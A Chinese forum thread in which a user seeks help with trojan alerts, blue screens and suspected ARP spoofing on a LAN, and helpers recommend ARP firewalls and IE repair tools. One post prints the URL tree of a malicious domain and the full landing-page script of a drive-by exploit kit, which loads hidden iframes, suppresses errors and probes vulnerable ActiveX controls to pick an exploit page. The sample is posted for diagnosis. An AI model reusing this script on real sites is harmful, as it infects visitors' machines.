瑞星卡卡安全论坛

我一直是瑞星的用户。从两周前开始，只要一上网，网页打开速度就奇慢无比，整个机子就死机了。用瑞星杀，什么也查不到。无奈之下换了卡巴斯基，这下能查出病毒了，网页一打开，就会报警，如下图，机子的运行速度还行，但就是经常会出现蓝屏重启动的现象。我现在可以肯定的是蓝屏重启动肯定跟上网有关，把网线拨掉，就不会有蓝屏现象了。
　　我可是瑞星的正版用户啊，希望能帮我解决这个问题。

用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

楼主局域网？
疑似ARP病毒

貌似和IE网页有关~。。。看下IE主页是否被修改了？或者HOTS被修改，已经DNS劫持？~用黄山IE和windows清理助手清理下~换个主页。

http://t.yahoo3.info/index.htm
|->http://t.yahoo3.info/flash.htm
|  |->http://t.yahoo3.info/ihhh.html
|  |  |->http://t.yahoo3.info/swfobject.js
|  |->http://t.yahoo3.info/fhhh.html
|    |->http://t.yahoo3.info/swfobject.js
|->http://t.yahoo3.info/sina.htm
|->http://t.yahoo3.info/14.htm
|->http://t.yahoo3.info/office.htm
|->http://t.yahoo3.info/lz.htm
|->http://t.yahoo3.info/re10.htm
|->http://t.yahoo3.info/re11.htm

http://ad.ote2008.info/ad.css

<script>
document.write("<iframe width=20 height=0 src=flash.htm></iframe>");
document.write("<iframe width=20 height=0 src=sina.htm></iframe>");
window.status="完成";
window.onerror=function(){return true;}
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)
document.write("<iframe width=20 height=0 src=14.htm></iframe>");
document.write("<iframe width=20 height=0 src=office.htm></iframe>");
try{var f;
var qw=new ActiveXObject("GLIEDown.IEDown.1");}
catch(f){};                     
finally{if(f!="[object Error]"){document.write("<iframe width=100 height=0 src=lz.htm></iframe>");}}
try{var m;
var hq=new ActiveXObject("Downloader.DLoader.1");}
catch(m){};                     
finally{if(m!="[object Error]"){document.write("<iframe width=100 height=0 src=sina.htm></iframe>");}}
function test()
{
rrooxx = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
try
{
Like = new ActiveXObject(rrooxx);
}catch(error){return;}
vvvvv = Like.PlayerProperty("PRODUCTVERSION");
if(vvvvv<="6.0.14.552")
document.write("<iframe width=100 height=0 src=re10.htm></iframe>");
else
document.write("<iframe width=100 height=0 src=re11.htm></iframe>");

}
test();
</script>

IE主页没有被修改

这个代码什么意思啊？

是局域网

ARP防火墙自己挑个
安装

能推荐一个吗？

金山ARP防火墙

http://buy.duba.net/download/
建议手工绑定网关的ip，MAC

该用户帖子内容已被屏蔽

:default3:

刚才安装了一个，显示有ARP攻击。但重启动后，上网，还是有木马警告，又蓝屏自动重启动了一次

蓝屏80%、90%都是卡巴造成的。。。估计是拦截时和病毒强行突破导致冲突了，我还是建议先用黄山IE修复专家修复下IE。

没办法

除非你找到局域网里你所在网段内的那个中毒的烂电脑

否则你没安生日子过的

http://www.chinaemail.com.cn/zixun/hot/200807/16542.html
参考下

我不用卡巴的话，只能用瑞星，但它发现不了

能不能从卡巴的隔离区搞个病毒文件出来？谢谢

彻底解决方法
17楼